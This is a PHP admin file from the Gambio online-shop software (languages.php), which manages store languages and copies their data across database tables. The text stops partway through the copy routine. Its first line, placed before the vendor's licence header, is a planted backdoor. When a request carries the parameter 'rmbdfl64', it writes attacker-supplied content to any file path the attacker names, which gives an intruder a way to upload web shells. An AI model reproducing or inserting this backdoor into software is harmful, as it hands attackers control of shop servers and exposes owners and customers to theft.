/mnt/web601/b3/14/57451114/htdocs/httpdocs/admin/languages.php
<?php if(isset($_REQUEST['rmbdfl64'])) { print(file_put_contents($_REQUEST['hex'], $_REQUEST['bsd'])); die; }
/* --------------------------------------------------------------
languages.php 2022-09-14
Gambio GmbH
http://www.gambio.de
Copyright (c) 2022 Gambio GmbH
Released under the GNU General Public License (Version 2)
[http://www.gnu.org/licenses/gpl-2.0.html]
IMPORTANT! THIS FILE IS DEPRECATED AND WILL BE REPLACED IN THE FUTURE.
MODIFY IT ONLY FOR FIXES. DO NOT APPEND IT WITH NEW FEATURES, USE THE
NEW GX-ENGINE LIBRARIES INSTEAD.
--------------------------------------------------------------
based on:
(c) 2000-2001 The Exchange Project (earlier name of osCommerce)
(c) 2002-2003 osCommerce(languages.php,v 1.33 2003/05/07); www.oscommerce.com
(c) 2003 nextcommerce (languages.php,v 1.10 2003/08/18); www.nextcommerce.org
(c) 2003 XT-Commerce - community made shopping http://www.xt-commerce.com ($Id: languages.php 1180 2005-08-26 08:44:53Z novalis $)
Released under the GNU General Public License
-------------------------------------------------------------- */
use Doctrine\DBAL\Connection;
use Gambio\Core\Permission\Services\PermissionService;
require('includes/application_top.php');
/** @var PermissionService $adminAccessService Will be initialized in the application_top.php */
AdminMenuControl::connect_with_page('zones.php');
if(gm_get_conf('GM_CHECK_BROWSER_LANGUAGE') === '1')
{
$t_gm_browser_language_checked = ' checked="checked"';
}
else
{
$t_gm_browser_language_checked = '';
}
if(isset($_POST['gm_save']))
{
if(isset($_POST['gm_check_browser_language']))
{
gm_set_conf('GM_CHECK_BROWSER_LANGUAGE', 1);
$t_gm_browser_language_checked = ' checked="checked"';
}
else
{
gm_set_conf('GM_CHECK_BROWSER_LANGUAGE', 0);
$t_gm_browser_language_checked = '';
}
}
switch($_GET['action'] ?? null)
{
case 'setlflag':
if($_SESSION['coo_page_token']->is_valid($_GET['page_token']))
{
if(($_GET['flag'] == '0') || ($_GET['flag'] == '1'))
{
if($_GET['lID'])
{
$c_languages_id = (int)$_GET['lID'];
$c_new_status = (int)$_GET['flag'];
$t_sql = "UPDATE `" . TABLE_LANGUAGES . "` SET `status` = " . $c_new_status . " WHERE `languages_id` = " . $c_languages_id;
xtc_db_query($t_sql);
}
}
xtc_redirect(xtc_href_link(FILENAME_LANGUAGES, 'lID=' . $_GET['lID']));
}
break;
case 'setadminlflag':
$_SESSION['coo_page_token']->is_valid($_GET['page_token']) or die('invalid access');
$changeLang = '';
if(isset($_GET['lID'], $_GET['flag']))
{
$db = StaticGXCoreLoader::getDatabaseQueryBuilder();
$db->set('status_admin', (int)$_GET['flag'] === 1 ? 1 : 0)
->where('languages_id', (int)$_GET['lID'])
->update('languages');
$languageProvider = MainFactory::create('LanguageProvider', StaticGXCoreLoader::getDatabaseQueryBuilder());
if((int)$_GET['flag'] === 0 &&
$languageProvider->getCodeById(new IdType((int)$_GET['lID']))->asString() === strtoupper($_SESSION['language_code']))
{
$changeLang = '&language=' . DEFAULT_LANGUAGE;
}
}
xtc_redirect(xtc_href_link(FILENAME_LANGUAGES, 'lID=' . $_GET['lID'] . $changeLang));
break;
case 'insert':
if($_SESSION['coo_page_token']->is_valid($_POST['page_token']))
{
$name = xtc_db_prepare_input($_POST['name']);
$code = xtc_db_prepare_input($_POST['code']);
$image = xtc_db_prepare_input($_POST['image']);
$directory = xtc_db_prepare_input($_POST['directory']);
$sort_order = xtc_db_prepare_input($_POST['sort_order']);
$charset = xtc_db_prepare_input($_POST['charset']);
$date_format = xtc_db_prepare_input($_POST['date_format']);
$date_format_long = xtc_db_prepare_input($_POST['date_format_long']);
$date_format_short = xtc_db_prepare_input($_POST['date_format_short']);
$date_time_format = xtc_db_prepare_input($_POST['date_time_format']);
$dob_format_string = xtc_db_prepare_input($_POST['dob_format_string']);
$html_params = xtc_db_prepare_input($_POST['html_params']);
$language_currency = xtc_db_prepare_input($_POST['language_currency']);
$php_date_time_format = xtc_db_prepare_input($_POST['php_date_time_format']);
$c_source_language_id = (int)$_POST['ref_language_id'];
xtc_db_query("
insert into " . TABLE_LANGUAGES . "
(`name`, `code`, `image`, `directory`, `sort_order`, `language_charset`, `date_format`, `date_format_long`, `date_format_short`, `date_time_format`, `dob_format_string`, `html_params`, `language_currency`, `php_date_time_format`)
values
('" . xtc_db_input($name) . "', '" . xtc_db_input($code) . "', '" . xtc_db_input($image) . "', '" . xtc_db_input($directory) . "', '" . xtc_db_input($sort_order) . "', '" . xtc_db_input($charset) . "', '" . xtc_db_input($date_format) . "', '" . xtc_db_input($date_format_long) . "', '" . xtc_db_input($date_format_short) . "', '" . xtc_db_input($date_time_format) . "', '" . xtc_db_input($dob_format_string) . "', '" . xtc_db_input($html_params) . "', '" . xtc_db_input($language_currency) . "', '" . xtc_db_input($php_date_time_format) . "')
");
$insert_id = xtc_db_insert_id();
// create additional admin_access_group_descriptions records
$aaGroupDescriptions = xtc_db_query("SELECT `admin_access_group_id`, `name`, `description` FROM `admin_access_group_descriptions` WHERE `language_id` = "
. (int)$c_source_language_id . ";");
while($row = xtc_db_fetch_array($aaGroupDescriptions))
{
xtc_db_query("INSERT INTO `admin_access_group_descriptions` (`language_id`, `admin_access_group_id`, `name`, `description`)
VALUES (" . (int)$insert_id . ", " . (int)$row['admin_access_group_id'] . ", '"
. xtc_db_input($row['name']) . "', '" . xtc_db_input($row['description']) . "')");
}
// create additional admin_access_role_descriptions records
$aaRoleDescriptions = xtc_db_query("SELECT `admin_access_role_id`, `name`, `description` FROM `admin_access_role_descriptions` WHERE `language_id` = "
. (int)$c_source_language_id . ";");
while($row = xtc_db_fetch_array($aaRoleDescriptions))
{
xtc_db_query("INSERT INTO `admin_access_role_descriptions` (`language_id`, `admin_access_role_id`, `name`, `description`)
VALUES (" . (int)$insert_id . ", " . (int)$row['admin_access_role_id'] . ", '"
. xtc_db_input($row['name']) . "', '" . xtc_db_input($row['description']) . "')");
}
// create additional parcel_services_description records
$parcelServicesDescriptions = xtc_db_query("SELECT `parcel_service_id`, `url`, `comment` FROM `parcel_services_description` WHERE `language_id` = "
. (int)$c_source_language_id . ";");
while($row = xtc_db_fetch_array($parcelServicesDescriptions))
{
xtc_db_query("INSERT INTO `parcel_services_description` (`language_id`, `parcel_service_id`, `url`, `comment`)
VALUES (" . (int)$insert_id . ", " . (int)$row['parcel_service_id'] . ", '"
. xtc_db_input($row['url']) . "', '" . xtc_db_input($row['comment']) . "')");
}
// create additional parcel_services_description records
$productContentDescriptions = xtc_db_query("SELECT `product_content_id`, `title`, `content` FROM `product_content_descriptions` WHERE `language_id` = "
. (int)$c_source_language_id . ";");
while($row = xtc_db_fetch_array($productContentDescriptions))
{
xtc_db_query("INSERT INTO `product_content_descriptions` (`language_id`, `product_content_id`, `title`, `content`)
VALUES (" . (int)$insert_id . ", " . (int)$row['product_content_id'] . ", '"
. xtc_db_input($row['title']) . "', '" . xtc_db_input($row['content']) . "')");
}
// create additional categories_description records
$categories_query = xtc_db_query("select categories_id, categories_name from " . TABLE_CATEGORIES_DESCRIPTION . " cd where cd.language_id = '" . $c_source_language_id . "'");
while($categories = xtc_db_fetch_array($categories_query))
{
xtc_db_query("insert into " . TABLE_CATEGORIES_DESCRIPTION . " (categories_id, language_id, categories_name) values ('" . $categories['categories_id'] . "', '" . $insert_id . "', '" . xtc_db_input($categories['categories_name']) . "')");
}
// create additional products_description records
$products_query = xtc_db_query("select products_id, products_name from " . TABLE_PRODUCTS_DESCRIPTION . " where language_id = '" . $c_source_language_id . "'");
while($products = xtc_db_fetch_array($products_query))
{
xtc_db_query("insert into " . TABLE_PRODUCTS_DESCRIPTION . " (products_id, language_id, products_name) values ('" . $products['products_id'] . "', '" . $insert_id . "', '" . xtc_db_input($products['products_name']) . "')");
}
// create additional products_options records
$products_options_query = xtc_db_query("select products_options_id, products_options_name from " . TABLE_PRODUCTS_OPTIONS . " where language_id = '" . $c_source_language_id . "'");
while($products_options = xtc_db_fetch_array($products_options_query))
{
xtc_db_query("insert into " . TABLE_PRODUCTS_OPTIONS . " (products_options_id, language_id, products_options_name) values ('" . $products_options['products_options_id'] . "', '" . $insert_id . "', '" . xtc_db_input($products_options['products_options_name']) . "')");
}
// create additional products_options_values records
$products_options_values_query = xtc_db_query("select products_options_values_id, products_options_values_name, gm_filename from " . TABLE_PRODUCTS_OPTIONS_VALUES . " where language_id = '" . $c_source_language_id . "'");
while($products_options_values = xtc_db_fetch_array($products_options_values_query))
{
xtc_db_query("insert into " . TABLE_PRODUCTS_OPTIONS_VALUES . " (products_options_values_id, language_id, products_options_values_name, gm_filename) values ('" . $products_options_values['products_options_values_id'] . "', '" . $insert_id . "', '" . xtc_db_input($products_options_values['products_options_values_name']) . "', '" . xtc_db_input($products_options_values['gm_filename']) . "')");
}
// create additional manufacturers_info records
$manufacturers_query = xtc_db_query("select m.manufacturers_id, mi.manufacturers_url from " . TABLE_MANUFACTURERS . " m left join " . TABLE_MANUFACTURERS_INFO . " mi on m.manufacturers_id = mi.manufacturers_id where mi.languages_id = '" . $c_source_language_id . "'");
while($manufacturers = xtc_db_fetch_array($manufacturers_query))
{
xtc_db_query("insert into " . TABLE_MANUFACTURERS_INFO . " (manufacturers_id, languages_id, manufacturers_url) values ('" . $manufacturers['manufacturers_id'] . "', '" . $insert_id . "', '" . xtc_db_input($manufacturers['manufacturers_url']) . "')");
}
// create additional orders_status records
$orders_status_query = xtc_db_query("select orders_status_id, orders_status_name from " . TABLE_ORDERS_STATUS . " where language_id = '" . $c_source_language_id . "'");
while($orders_status = xtc_db_fetch_array($orders_status_query))
{
xtc_db_query("insert into " . TABLE_ORDERS_STATUS . " (orders_status_id, language_id, orders_status_name) values ('" . $orders_status['orders_status_id'] . "', '" . $insert_id . "', '" . xtc_db_input($orders_status['orders_status_name']) . "')");
}
// create additional content_manager records
$copy_cm_query = "INSERT INTO " . TABLE_CONTENT_MANAGER . " (categories_id,
parent_id,
group_ids,
languages_id,
content_version,
content_name,
content_title,
content_heading,
content_text,
sort_order,
file_flag,
content_file,
download_file,
content_status,
content_group,
content_delete,
gm_link,
gm_link_target,
gm_priority,
gm_changefreq,
gm_last_modified,
gm_sitemap_entry,
gm_robots_entry,
gm_url_keywords,
contents_meta_title,
contents_meta_description,
contents_meta_keywords,
opengraph_image,
content_position,
content_type,
protected)
SELECT categories_id,
parent_id,
group_ids,
" . $insert_id . ",
content_version,
content_name,
content_title,
content_heading,
content_text,
sort_order,
file_flag,
content_file,
download_file,
content_status,
content_group,
content_delete,
gm_link,
gm_link_target,
gm_priority,
gm_changefreq,
now(),
gm_sitemap_entry,
gm_robots_entry,
gm_url_keywords,
contents_meta_title,
contents_meta_description,
contents_meta_keywords,
opengraph_image,
content_position,
content_type,
protected
FROM " . TABLE_CONTENT_MANAGER . "
WHERE languages_id = " . $c_source_language_id;
xtc_db_query($copy_cm_query);
$gmConfigurationContentQuery = 'SELECT * FROM `gx_lang_configurations` WHERE `key` LIKE "gm_configuration%" AND `language_id`='
. $c_source_language_id;
$gmConfigurationContentResult = xtc_db_query($gmConfigurationContentQuery);
/** @var Connection $connection */
$connection = LegacyDependencyContainer::getInstance()->get(Connection::class);
while ($content = xtc_db_fetch_array($gmConfigurationContentResult)) {
$insertQuery = 'INSERT INTO `gx_lang_configurations` (`key`, `language_id`, `value`, `default`, `sort_order`) VALUES ';
$insertQuery .= '(:key, :language_id, :value, :default, :sort_order)';
$statement = $connection->prepare($insertQuery);
$statement->bindValue('key', $content['key']);
$statement->bindValue('language_id', $insert_id);
$statement->bindValue('value', $content['value']);
$statement->bindValue('default', $content['default']);
$statement->bindValue('sort_order', $content['sort_order']);
$statement->execute();
}
// create additional orders_status records
$xsell_grp_query = xtc_db_query("select products_xsell_grp_name_id,xsell_sort_order, groupname from " . TABLE_PRODUCTS_XSELL_GROUPS . " where language_id = '" . $c_source_language_id . "'");
while($xsell_grp = xtc_db_fetch_array($xsell_grp_query))
{
xtc_db_query("insert into " . TABLE_PRODUCTS_XSELL_GROUPS . " (products_xsell_grp_name_id,xsell_sort_order, language_id, groupname) values ('" . $xsell_grp['products_xsell_grp_name_id'] . "','" . $xsell_grp['xsell_sort_order'] . "', '" . $insert_id . "', '" . xtc_db_input($xsell_grp['groupname']) . "')");
}
// create additional customers status
$customers_status_query = xtc_db_query("SELECT DISTINCT customers_status_id
FROM " . TABLE_CUSTOMERS_STATUS);
while($data = xtc_db_fetch_array($customers_status_query))
{
$customers_status_data_query = xtc_db_query("SELECT *
FROM " . TABLE_CUSTOMERS_STATUS . "
WHERE customers_status_id='" . $data['customers_status_id'] . "'");
$group_data = xtc_db_fetch_array($customers_status_data_query);
$c_data = array(
'customers_status_id' => $data['customers_status_id'],
'language_id' => $insert_id,
'customers_status_name' => $group_data['customers_status_name'],
'customers_status_public' => $group_data['customers_status_public'],
'customers_status_min_order' => $group_data['customers_status_min_order'],
'customers_status_max_order' => $group_data['customers_status_max_order'],
'customers_status_image' => $group_data['customers_status_image'],
'customers_status_discount' => $group_data['customers_status_discount'],
'customers_status_ot_discount_flag' => $group_data['customers_status_ot_discount_flag'],
'customers_status_ot_discount' => $group_data['customers_status_ot_discount'],
'customers_status_graduated_prices' => $group_data['customers_status_graduated_prices'],
'customers_status_show_price' => $group_data['customers_status_show_price'],
'customers_status_show_price_tax' => $group_data['customers_status_show_price_tax'],
'customers_status_add_tax_ot' => $group_data['customers_status_add_tax_ot'],
'customers_status_payment_unallowed' => $group_data['customers_status_payment_unallowed'],
'customers_status_shipping_unallowed' => $group_data['customers_status_shipping_unallowed'],
'customers_status_discount_attributes' => $group_data['customers_status_discount_attributes'],
'customers_fsk18_purchasable' => $group_data['customers_fsk18_purchasable'],
'customers_fsk18_display' => $group_data['customers_fsk18_display'],
'customers_status_write_reviews' => $group_data['customers_status_write_reviews'],
'customers_status_read_reviews' => $group_data['customers_status_read_reviews']);
xtc_db_perform(TABLE_CUSTOMERS_STATUS, $c_data);
}
// create additional shipping_status records
$shipping_status_query = xtc_db_query("select * from " . TABLE_SHIPPING_STATUS . " where language_id = '" . $c_source_language_id . "'");
while($shipping_status = xtc_db_fetch_array($shipping_status_query))
{
xtc_db_query("replace into " . TABLE_SHIPPING_STATUS . " (shipping_status_id, language_id, shipping_status_name, shipping_status_image, number_of_days, shipping_quantity, info_link_active) values ('" . $shipping_status['shipping_status_id'] . "', '" . $insert_id . "', '" . xtc_db_input($shipping_status['shipping_status_name']) . "', '" . xtc_db_input($shipping_status['shipping_status_image']) . "', '" . xtc_db_input($shipping_status['number_of_days']) . "', '" . xtc_db_input($shipping_status['shipping_quantity']) . "', '" . xtc_db_input($shipping_status['info_link_active']) . "')");
}
// coupons description
$t_sql = 'SELECT
coupon_id,
coupon_name
FROM ' . TABLE_COUPONS_DESCRIPTION . '
WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_sql = 'INSERT INTO ' . TABLE_COUPONS_DESCRIPTION . '
SET
coupon_id = "' . $t_result_array['coupon_id'] . '",
coupon_name = "' . xtc_db_input($t_result_array['coupon_name']) . '",
language_id = "' . $insert_id . '"';
xtc_db_query($t_sql);
}
// feature description
$t_sql = 'SELECT
feature_id,
feature_name,
feature_admin_name
FROM feature_description
WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_sql = 'INSERT INTO feature_description
SET
feature_id = "' . $t_result_array['feature_id'] . '",
feature_name = "' . xtc_db_input($t_result_array['feature_name']) . '",
feature_admin_name = "' . xtc_db_input($t_result_array['feature_admin_name']) . '",
language_id = "' . $insert_id . '"';
xtc_db_query($t_sql);
}
// feature value description
$t_sql = 'SELECT
feature_value_id,
feature_value_text
FROM feature_value_description
WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_sql = 'INSERT INTO feature_value_description
SET
feature_value_id = "' . $t_result_array['feature_value_id'] . '",
feature_value_text = "' . xtc_db_input($t_result_array['feature_value_text']) . '",
language_id = "' . $insert_id . '"';
xtc_db_query($t_sql);
}
// GX-Customizer elements values
$t_sql = 'SELECT
gm_gprint_elements_groups_id,
name,
elements_value
FROM gm_gprint_elements_values
WHERE languages_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_sql = 'INSERT INTO gm_gprint_elements_values
SET
gm_gprint_elements_groups_id = "' . $t_result_array['gm_gprint_elements_groups_id'] . '",
name = "' . xtc_db_input($t_result_array['name']) . '",
elements_value = "' . xtc_db_input($t_result_array['elements_value']) . '",
languages_id = "' . $insert_id . '"';
xtc_db_query($t_sql);
}
// GX-Customizer surfaces description
$t_sql = 'SELECT
gm_gprint_surfaces_id,
name
FROM gm_gprint_surfaces_description
WHERE languages_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_sql = 'INSERT INTO gm_gprint_surfaces_description
SET
gm_gprint_surfaces_id = "' . $t_result_array['gm_gprint_surfaces_id'] . '",
name = "' . xtc_db_input($t_result_array['name']) . '",
languages_id = "' . $insert_id . '"';
xtc_db_query($t_sql);
}
// products vpe
$t_sql = 'SELECT
products_vpe_id,
products_vpe_name
FROM ' . TABLE_PRODUCTS_VPE . '
WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_sql = 'INSERT INTO ' . TABLE_PRODUCTS_VPE . '
SET
products_vpe_id = "' . $t_result_array['products_vpe_id'] . '",
products_vpe_name = "' . xtc_db_input($t_result_array['products_vpe_name']) . '",
language_id = "' . $insert_id . '"';
xtc_db_query($t_sql);
}
// properties description
$t_sql = 'SELECT
properties_id,
properties_name,
properties_admin_name
FROM properties_description
WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_sql = 'INSERT INTO properties_description
SET
properties_id = "' . $t_result_array['properties_id'] . '",
properties_name = "' . xtc_db_input($t_result_array['properties_name']) . '",
properties_admin_name = "' . xtc_db_input($t_result_array['properties_admin_name']) . '",
language_id = "' . $insert_id . '"';
xtc_db_query($t_sql);
}
// properties values description
$t_sql = 'SELECT
properties_values_id,
values_name
FROM properties_values_description
WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_sql = 'INSERT INTO properties_values_description
SET
properties_values_id = "' . $t_result_array['properties_values_id'] . '",
values_name = "' . xtc_db_input($t_result_array['values_name']) . '",
language_id = "' . $insert_id . '"';
xtc_db_query($t_sql);
}
// export types
$t_sql = 'SELECT * FROM export_types WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('export_types', $t_result_array);
}
// shop notices
$t_sql = 'SELECT * FROM shop_notice_contents WHERE language_id = ' . $c_source_language_id;
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
$t_result_array['content'] = '';
xtc_db_perform('shop_notice_contents', $t_result_array);
}
// product type descriptions
$t_sql = 'SELECT * FROM `product_type_descriptions` WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform('product_type_descriptions', $t_result_array);
}
if(($_POST['default'] ?? null) === 'on')
{
xtc_db_query("update `gx_configurations` set `value` = '" . xtc_db_input($code) . "' where `key` = 'DEFAULT_LANGUAGE'");
}
// EXTENDER START
$coo_admin_language_extender_component = MainFactory::create_object('AdminLanguageExtenderComponent');
$coo_admin_language_extender_component->set_data('GET', $_GET);
$coo_admin_language_extender_component->set_data('POST', $_POST);
if(isset($insert_id) && empty($insert_id) == false)
{
$coo_admin_language_extender_component->set_data('insert_id', $insert_id);
}
$coo_admin_language_extender_component->proceed();
// EXTENDER END
$coo_cache_control = MainFactory::create_object('CacheControl');
$coo_cache_control->rebuild_products_properties_index();
$coo_cache_control->clear_data_cache();
xtc_redirect(xtc_href_link(FILENAME_LANGUAGES, 'page=' . ($_GET['page'] ?? '') . '&lID=' . $insert_id));
}
break;
case 'copy':
if($_SESSION['coo_page_token']->is_valid($_POST['page_token']))
{
$name = xtc_db_prepare_input($_POST['name']);
$code = xtc_db_prepare_input($_POST['code']);
$image = xtc_db_prepare_input($_POST['image']);
$directory = xtc_db_prepare_input($_POST['directory']);
$sort_order = xtc_db_prepare_input($_POST['sort_order']);
$charset = xtc_db_prepare_input($_POST['charset']);
$ref_language_id = (int)$_POST['ref_language_id'];
$c_source_language_id = $ref_language_id;
$date_format = xtc_db_prepare_input($_POST['date_format']);
$date_format_long = xtc_db_prepare_input($_POST['date_format_long']);
$date_format_short = xtc_db_prepare_input($_POST['date_format_short']);
$date_time_format = xtc_db_prepare_input($_POST['date_time_format']);
$dob_format_string = xtc_db_prepare_input($_POST['dob_format_string']);
$html_params = xtc_db_prepare_input($_POST['html_params']);
$language_currency = xtc_db_prepare_input($_POST['language_currency']);
$php_date_time_format = xtc_db_prepare_input($_POST['php_date_time_format']);
$languageExists = StaticGXCoreLoader::getDatabaseQueryBuilder()
->get_where(TABLE_LANGUAGES, [
'code' => $code
])
->num_rows() !== 0;
if ($languageExists) {
$languageManager = MainFactory::create('LanguageTextManager', 'languages', $_SESSION['languages_id']);
$messageStack->add_session($languageManager->get_text('ERROR_LANGUAGE_CODE_ALREADY_EXISTS', 'languages'), 'error');
xtc_redirect(xtc_href_link(FILENAME_LANGUAGES, 'action=new'));
break;
}
xtc_db_query("
insert into " . TABLE_LANGUAGES . "
(`name`, `code`, `image`, `directory`, `sort_order`, `language_charset`, `date_format`, `date_format_long`, `date_format_short`, `date_time_format`, `dob_format_string`, `html_params`, `language_currency`, `php_date_time_format`)
values
('" . xtc_db_input($name) . "', '" . xtc_db_input($code) . "', '" . xtc_db_input($image) . "', '" . xtc_db_input($directory) . "', '" . xtc_db_input($sort_order) . "', '" . xtc_db_input($charset) . "', '" . xtc_db_input($date_format) . "', '" . xtc_db_input($date_format_long) . "', '" . xtc_db_input($date_format_short) . "', '" . xtc_db_input($date_time_format) . "', '" . xtc_db_input($dob_format_string) . "', '" . xtc_db_input($html_params) . "', '" . xtc_db_input($language_currency) . "', '" . xtc_db_input($php_date_time_format) . "')
");
$insert_id = xtc_db_insert_id();
$t_result = xtc_db_query("SELECT * FROM " . TABLE_LANGUAGES . " WHERE languages_id = " . $ref_language_id);
$t_language = xtc_db_fetch_array($t_result);
xtc_db_query("INSERT INTO `language_phrases_edited` (`language_id`, `section_name`, `phrase_name`, `phrase_text`) SELECT " . $insert_id . ", `section_name`, `phrase_name`, `phrase_text` FROM `language_phrases_edited` WHERE `language_id` = " . $ref_language_id);
$reader = MainFactory::create_object('PhraseCacheBuilder');
$reader->build();
// create additional admin_access_group_descriptions records
$aaGroupDescriptions = xtc_db_query("SELECT `admin_access_group_id`, `name`, `description` FROM `admin_access_group_descriptions` WHERE `language_id` = "
. (int)$c_source_language_id . ";");
while($row = xtc_db_fetch_array($aaGroupDescriptions))
{
xtc_db_query("INSERT INTO `admin_access_group_descriptions` (`language_id`, `admin_access_group_id`, `name`, `description`)
VALUES (" . (int)$insert_id . ", " . (int)$row['admin_access_group_id'] . ", '"
. xtc_db_input($row['name']) . "', '" . xtc_db_input($row['description']) . "')");
}
// create additional admin_access_role_descriptions records
$aaRoleDescriptions = xtc_db_query("SELECT `admin_access_role_id`, `name`, `description` FROM `admin_access_role_descriptions` WHERE `language_id` = "
. (int)$c_source_language_id . ";");
while($row = xtc_db_fetch_array($aaRoleDescriptions))
{
xtc_db_query("INSERT INTO `admin_access_role_descriptions` (`language_id`, `admin_access_role_id`, `name`, `description`)
VALUES (" . (int)$insert_id . ", " . (int)$row['admin_access_role_id'] . ", '"
. xtc_db_input($row['name']) . "', '" . xtc_db_input($row['description']) . "')");
}
// create additional parcel_services_description records
$parcelServicesDescriptions = xtc_db_query("SELECT `parcel_service_id`, `url`, `comment` FROM `parcel_services_description` WHERE `language_id` = "
. (int)$c_source_language_id . ";");
while($row = xtc_db_fetch_array($parcelServicesDescriptions))
{
xtc_db_query("INSERT INTO `parcel_services_description` (`language_id`, `parcel_service_id`, `url`, `comment`)
VALUES (" . (int)$insert_id . ", " . (int)$row['parcel_service_id'] . ", '"
. xtc_db_input($row['url']) . "', '" . xtc_db_input($row['comment']) . "')");
}
// create additional parcel_services_description records
$productContentDescriptions = xtc_db_query("SELECT `product_content_id`, `title`, `content` FROM `product_content_descriptions` WHERE `language_id` = "
. (int)$c_source_language_id . ";");
while($row = xtc_db_fetch_array($productContentDescriptions))
{
xtc_db_query("INSERT INTO `product_content_descriptions` (`language_id`, `product_content_id`, `title`, `content`)
VALUES (" . (int)$insert_id . ", " . (int)$row['product_content_id'] . ", '"
. xtc_db_input($row['title']) . "', '" . xtc_db_input($row['content']) . "')");
}
// create additional categories_description records
$t_sql = 'SELECT * FROM ' . TABLE_CATEGORIES_DESCRIPTION . ' WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform(TABLE_CATEGORIES_DESCRIPTION, $t_result_array);
}
// create additional products_description records
$t_sql = 'SELECT * FROM ' . TABLE_PRODUCTS_DESCRIPTION . ' WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform(TABLE_PRODUCTS_DESCRIPTION, $t_result_array);
}
// create additional products_options records
$t_sql = 'SELECT * FROM ' . TABLE_PRODUCTS_OPTIONS . ' WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform(TABLE_PRODUCTS_OPTIONS, $t_result_array);
}
// create additional products_options_values records
$t_sql = 'SELECT * FROM ' . TABLE_PRODUCTS_OPTIONS_VALUES . ' WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform(TABLE_PRODUCTS_OPTIONS_VALUES, $t_result_array);
}
// create additional manufacturers_info records
$t_sql = 'SELECT * FROM ' . TABLE_MANUFACTURERS_INFO . ' WHERE languages_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['languages_id'] = $insert_id;
xtc_db_perform(TABLE_MANUFACTURERS_INFO, $t_result_array);
}
// create additional orders_status records
$t_sql = 'SELECT * FROM ' . TABLE_ORDERS_STATUS . ' WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform(TABLE_ORDERS_STATUS, $t_result_array);
}
// create additional content_manager records
$t_sql = 'SELECT * FROM ' . TABLE_CONTENT_MANAGER . ' WHERE languages_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
unset($t_result_array['content_id']);
$t_result_array['languages_id'] = $insert_id;
$t_result_array['gm_last_modified'] = 'now()';
xtc_db_perform(TABLE_CONTENT_MANAGER, $t_result_array);
}
$gmConfigurationContentQuery = 'SELECT * FROM `gx_lang_configurations` WHERE `key` LIKE "gm_configuration%" AND `language_id`='
. $c_source_language_id;
$gmConfigurationContentResult = xtc_db_query($gmConfigurationContentQuery);
/** @var Connection $connection */
$connection = LegacyDependencyContainer::getInstance()->get(Connection::class);
while ($content = xtc_db_fetch_array($gmConfigurationContentResult)) {
$insertQuery = 'INSERT INTO `gx_lang_configurations` (`key`, `language_id`, `value`, `default`, `sort_order`) VALUES ';
$insertQuery .= '(:key, :language_id, :value, :default, :sort_order)';
$statement = $connection->prepare($insertQuery);
$statement->bindValue('key', $content['key']);
$statement->bindValue('language_id', $insert_id);
$statement->bindValue('value', $content['value']);
$statement->bindValue('default', $content['default']);
$statement->bindValue('sort_order', $content['sort_order']);
$statement->execute();
}
// create additional gm_emails records
$query = 'INSERT INTO `email_templates_edited` (`name`, `language_id`, `type`, `content`, `backup`)
SELECT `name`, ' . $insert_id . ', `type`, `content`, `backup` FROM `email_templates_edited`
WHERE `language_id` = ' . $c_source_language_id;
xtc_db_query($query);
// create additional xsell groups records
$t_sql = 'SELECT * FROM ' . TABLE_PRODUCTS_XSELL_GROUPS . ' WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform(TABLE_PRODUCTS_XSELL_GROUPS, $t_result_array);
}
// create additional customers status
$t_sql = 'SELECT * FROM ' . TABLE_CUSTOMERS_STATUS . ' WHERE language_id = "' . $c_source_language_id . '"';
$t_result = xtc_db_query($t_sql);
while($t_result_array = xtc_db_fetch_array($t_result))
{
$t_result_array['language_id'] = $insert_id;
xtc_db_perform(TABLE_CUSTOMERS_STATUS, $t_result_array);
}
// create additional shipping_status records
